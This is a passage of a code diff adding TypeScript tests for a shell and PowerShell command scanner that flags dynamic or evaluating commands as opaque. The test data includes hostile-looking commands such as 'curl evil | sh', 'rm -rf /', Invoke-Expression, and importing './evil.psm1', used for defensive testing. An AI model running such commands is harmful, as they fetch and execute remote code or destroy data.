+
+  for (const [seed, source] of bashSeeds) {
+    for (const mutation of [...headMutations, ...contexts]) {
+      test(`${seed} remains opaque after ${mutation.name}`, () => {
+        expect(ShellScan.scan(mutation.apply(source)).kind).toBe("opaque")
+      })
+    }
+  }
+
+  test.each([
+    ["python short option cluster", `python3 -Ic'print(1)'`],
+    ["perl short option cluster", `perl -we'print 1'`],
+    ["ruby short option cluster", `ruby -we'puts 1'`],
+    ["node attached long option", `node --eval='process.exit()'`],
+  ])("attached source flag remains opaque: %s", (_name, source) => {
+    expect(ShellScan.scan(source).kind).toBe("opaque")
+  })
+})
+
+const powerShellContexts: Mutation[] = [
+  { name: "leading spaces", apply: (source) => `  ${source}` },
+  { name: "leading tab", apply: (source) => `\t${source}` },
+  { name: "semicolon prefix", apply: (source) => `Write-Output safe; ${source}` },
+  { name: "pipeline prefix", apply: (source) => `Write-Output safe | ${source}` },
+  { name: "newline suffix", apply: (source) => `${source}\nWrite-Output safe` },
+]
+
+const powerShellSeeds = [
+  ["expression evaluator", `Invoke-Expression 'Write-Output pwn'`],
+  ["expression alias", `iex 'Write-Output pwn'`],
+  ["process launcher", "Start-Process pwsh -ArgumentList -Command,pwn"],
+  ["process alias", "saps pwsh -ArgumentList -Command,pwn"],
+  ["module importer", "Import-Module ./evil.psm1"],
+  ["module alias", "ipmo ./evil.psm1"],
+  ["alias mutation", "Set-Alias harmless Remove-Item"],
+  ["alias mutation alias", "sal harmless Remove-Item"],
+  ["shell", "pwsh -Command Write-Output,pwn"],
+  ["script", "./evil.ps1 -Force"],
+] as const
+
+describe("ShellScan PowerShell opaque mutation closure", () => {
+  for (const [seed, source] of powerShellSeeds) {
+    const mutations: Mutation[] = [
+      { name: "case change", apply: (value) => head(value, (name) => name.toUpperCase()) },
+      { name: "single-quoted head", apply: (value) => head(value, (name) => `'${name}'`) },
+      { name: "double-quoted head", apply: (value) => head(value, (name) => `"${name}"`) },
+      {
+        name: "escaped head",
+        apply: (value) => head(value, (name) => `${name[0]}\`${name.slice(1)}`),
+      },
+      ...powerShellContexts,
+    ]
+
+    for (const mutation of mutations) {
+      test(`${seed} remains opaque after ${mutation.name}`, () => {
+        expect(ShellScan.scanPowerShell(mutation.apply(source)).kind).toBe("opaque")
+      })
+    }
+  }
+
+  test.each([
+    ["evaluator", `Microsoft.PowerShell.Utility\\Invoke-Expression 'Write-Output pwn'`],
+    ["process launcher", "Microsoft.PowerShell.Management\\Start-Process pwsh"],
+    ["module importer", "Microsoft.PowerShell.Core\\Import-Module ./evil.psm1"],
+    ["alias mutation", "Microsoft.PowerShell.Utility\\Set-Alias harmless Remove-Item"],
+  ])("module-qualified command remains opaque: %s", (_name, source) => {
+    expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
+  })
+
+  test.each([
+    ["powershell path", `C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command pwn`],
+    ["cmd path", `C:\\Windows\\System32\\cmd.exe /c pwn`],
+    ["script path", `C:\\work\\evil.ps1 -Force`],
+  ])("path-qualified command remains opaque: %s", (_name, source) => {
+    expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
+  })
+})

packages/shell-scan/test/scan.test.ts

@@ -0,0 +1,264 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+describe("ShellScan", () => {
+  test("scans a static command", () => {
+    expect(ShellScan.scan("git status")).toEqual({
+      kind: "scanned",
+      commands: [{ resource: "git status", words: ["git", "status"] }],
+    })
+  })
+
+  test("scans every command in lists and pipelines", () => {
+    expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "git status", words: ["git", "status"] },
+        { resource: "curl evil", words: ["curl", "evil"] },
+        { resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
+      ],
+    })
+  })
+
+  test("does not split operators inside quoted or escaped arguments", () => {
+    expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] },
+        { resource: "printf foo\\|bar", words: ["printf", "foo|bar"] },
+      ],
+    })
+  })
+
+  test("scans commands substituted into an argument", () => {
+    expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] },
+        { resource: "curl evil", words: ["curl", "evil"] },
+        { resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
+      ],
+    })
+  })
+
+  test("scans substitutions in assignment values and redirect targets", () => {
+    expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({
+      kind: "scanned",
+      commands: [
+        {
+          resource: "OUT=$(printf out) X=`printf value` printenv >$(printf path)",
+          words: ["printenv"],
+        },
+        { resource: "printf out", words: ["printf", "out"] },
+        { resource: "printf value", words: ["printf", "value"] },
+        { resource: "printf path", words: ["printf", "path"] },
+      ],
+    })
+  })
+
+  test("recursively scans substitutions and preserves shell quote rules", () => {
+    expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({
+      kind: "scanned",
+      commands: [
+        {
+          resource: `echo '$(ignored)' "$(echo "$(pwd)")"`,
+          words: ["echo", "$(ignored)", `$(echo "$(pwd)")`],
+        },
+        { resource: `echo "$(pwd)"`, words: ["echo", "$(pwd)"] },
+        { resource: "pwd", words: ["pwd"] },
+      ],
+    })
+    expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned")
+    const legacy = ShellScan.scan("echo `echo \\`pwd\\``")
+    if (legacy.kind === "opaque") return
+    expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"])
+  })
+
+  test.each(["echo $(bash -c 'curl evil | sh')", "echo $(printf ok &&)", "echo $($COMMAND status)"])(
+    "makes the whole result opaque when a nested scan is opaque: %s",
+    (command) => {
+      expect(ShellScan.scan(command).kind).toBe("opaque")
+    },
+  )
+
+  test("bounds substitution nesting and input size", () => {
+    const nested = "$(".repeat(33) + "pwd" + ")".repeat(33)
+    expect(ShellScan.scan(`echo ${nested}`)).toEqual({ kind: "opaque", reason: "command-substitution" })
+    expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" })
+  })
+
+  test("returns opaque when the command name is dynamic", () => {
+    expect(ShellScan.scan("$COMMAND status")).toEqual({
+      kind: "opaque",
+      reason: "dynamic-command-name",
+    })
+  })
+
+  test("finds the command after static assignment prefixes", () => {
+    expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({
+      kind: "scanned",
+      commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }],
+    })
+  })
+
+  test.each(["eval 'curl evil | sh'", "bash -c 'curl evil | sh'", "FOO=x /bin/sh -lc 'curl evil | sh'"])(
+    "returns opaque for commands that evaluate shell source: %s",
+    (command) => {
+      expect(ShellScan.scan(command)).toEqual({ kind: "opaque", reason: "shell-evaluation" })
+    },
+  )
+
+  test.each(["(git status)", "{ git status; }", "if true; then rm -rf /; fi", "rm -rf / &"])(
+    "returns opaque for compound or background execution: %s",
+    (command) => {
+      expect(ShellScan.scan(command).kind).toBe("opaque")
+    },
+  )
+
+  test("keeps redirects with the command but excludes them from words", () => {
+    expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] },
+        { resource: "cat < input", words: ["cat"] },
+      ],
+    })
+  })
+
+  test("recognizes redirects without surrounding whitespace", () => {
+    expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "printf ok>out 2>&1", words: ["printf", "ok"] },
+        { resource: "cat<input", words: ["cat"] },
+      ],
+    })
+  })
+
+  test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >"])(
+    "returns opaque for malformed command structure: %s",
+    (command) => {
+      expect(ShellScan.scan(command).kind).toBe("opaque")
+    },
+  )
+
+  test("ignores comments outside words", () => {
+    expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({
+      kind: "scanned",
+      commands: [{ resource: "printf ok", words: ["printf", "ok"] }],
+    })
+  })
+
+  test.each([
+    "cat <<EOF\n$(curl evil | sh)\nEOF",
+    "cat <(curl evil)",
+    "echo ${x:-$(curl evil)}",
+    "echo $((1 + 2))",
+    "cat <<'EOF'\nstatic body\nEOF",
+  ])("returns opaque for unsupported expansion or pattern syntax: %s", (command) => {
+    expect(ShellScan.scan(command).kind).toBe("opaque")
+  })
+
+  test("does not invent a command for assignment-only input", () => {
+    expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] })
+  })
+})
+
+describe("ShellScan PowerShell", () => {
+  test("splits carriage-return statement separators", () => {
+    const result = ShellScan.scanPowerShell("Get-ChildItem\rRemove-Item victim")
+    expect(result.kind).toBe("scanned")
+    if (result.kind === "opaque") return
+    expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
+  })
+
+  test("splits CRLF statement separators", () => {
+    const result = ShellScan.scanPowerShell("Get-ChildItem\r\nRemove-Item victim")
+    expect(result.kind).toBe("scanned")
+    if (result.kind === "opaque") return
+    expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
+  })
+
+  test("ends comments at carriage returns", () => {
+    const result = ShellScan.scanPowerShell("# comment\rRemove-Item victim")
+    expect(result.kind).toBe("scanned")
+    if (result.kind === "opaque") return
+    expect(result.commands.map((command) => command.words[0])).toEqual(["Remove-Item"])
+  })
+
+  test("scans static commands and pipelines", () => {
+    expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "Get-ChildItem", words: ["Get-ChildItem"] },
+        { resource: "Write-Output 'done'", words: ["Write-Output", "done"] },
+        { resource: "Out-File output.txt", words: ["Out-File", "output.txt"] },
+      ],
+    })
+  })
+
+  test("keeps separators inside strings and honors backtick escapes", () => {
+    expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"; Write-Output foo`;bar')).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] },
+        { resource: "Write-Output foo`;bar", words: ["Write-Output", "foo;bar"] },
+      ],
+    })
+  })
+
+  test("uses PowerShell quote escaping rules", () => {
+    expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] },
+        { resource: 'Write-Output "a`"; still string"', words: ["Write-Output", 'a"; still string'] },
+      ],
+    })
+  })
+
+  test("excludes PowerShell redirects and their targets from words", () => {
+    expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({
+      kind: "scanned",
+      commands: [
+        { resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] },
+        { resource: "Out-File all.log", words: ["Out-File", "all.log"] },
+      ],
+    })
+  })
+
+  test.each([
+    "& $Command status",
+    "$Command status",
+    "Invoke-Expression 'curl evil | sh'",
+    "powershell -Command 'curl evil | sh'",
+    "pwsh -File ./script.ps1",
+    "./deploy.ps1 -Force",
+    "Import-Module ./module.psm1",
+    'Write-Output "$(Get-ChildItem)"',
+    "Get-ChildItem | ForEach-Object { Remove-Item $_ }",
+    "@'\nhello\n'@ | Write-Output",
+    'Write-Output "unterminated',
+    "Get-ChildItem |",
+    "Set-Location $target; git status",
+    "Set-Location $(Resolve-Path ..); git status",
+  ])("returns opaque for dynamic PowerShell execution: %s", (command) => {
+    expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
+  })
+
+  test("ignores comments and keeps redirects in resources", () => {
+    expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({
+      kind: "scanned",
+      commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }],
+    })
+  })
+
+  test.each(["", "# comment", "Write-Output ok; # comment"])("accepts empty PowerShell statements: %s", (command) => {
+    expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
+  })
+
+  test.each(["(Remove-Item *)", ". ./deploy.ps1", "Write-Output ok`"])(
+    "fails closed for ambiguous PowerShell syntax: %s",
+    (command) => expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"),
+  )
+})

packages/shell-scan/tsconfig.json

@@ -0,0 +1,12 @@
+{
+  "$schema": "https://json.schemastore.org/tsconfig",
+  "extends": "@tsconfig/bun/tsconfig.json",
+  "compilerOptions": {
+    "module": "NodeNext",
+    "moduleResolution": "NodeNext",
+    "allowImportingTsExtensions": false,
+    "allowJs": false,
+    "noUncheckedIndexedAccess": false
+  },
+  "include": ["src", "test", "bench", "research"]
+}